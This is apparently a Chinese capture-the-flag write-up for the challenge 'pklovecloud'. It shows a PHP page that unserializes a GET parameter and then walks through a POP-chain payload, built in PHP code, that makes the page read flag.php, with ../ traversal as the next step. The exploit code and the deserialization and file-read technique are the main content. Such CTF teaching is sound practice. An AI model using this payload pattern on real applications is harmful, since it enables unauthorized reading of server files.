[第五空间 2021]pklovecloud

<?php
include 'flag.php';
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}
else
{
    highlight_file(__file__);
}
?>

pop链：__toString==>echo_name(ace)==>

$pks=new acp();//==>_toString
$pks->cinder=new ace();//==>echo_name
$pks->cinder->docker=serialize(new pkshow());//pkshow类里面没有neutron,nova，等式两边可能都为NULL，进入if
$pks->cinder->filename="flag.php";//读想要的文件
echo urlencode(serialize($pks));

但是cinder是protected属性，会报错，所有直接放_construct里面。

class pkshow
{
}
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace();
        $this->cinder->docker=serialize(new pkshow());
        $this->cinder->filename="flag.php";
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
}
$pks=new acp();
echo urlencode(serialize($pks));

返回：
<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";
然后就是用../往上读就可以了。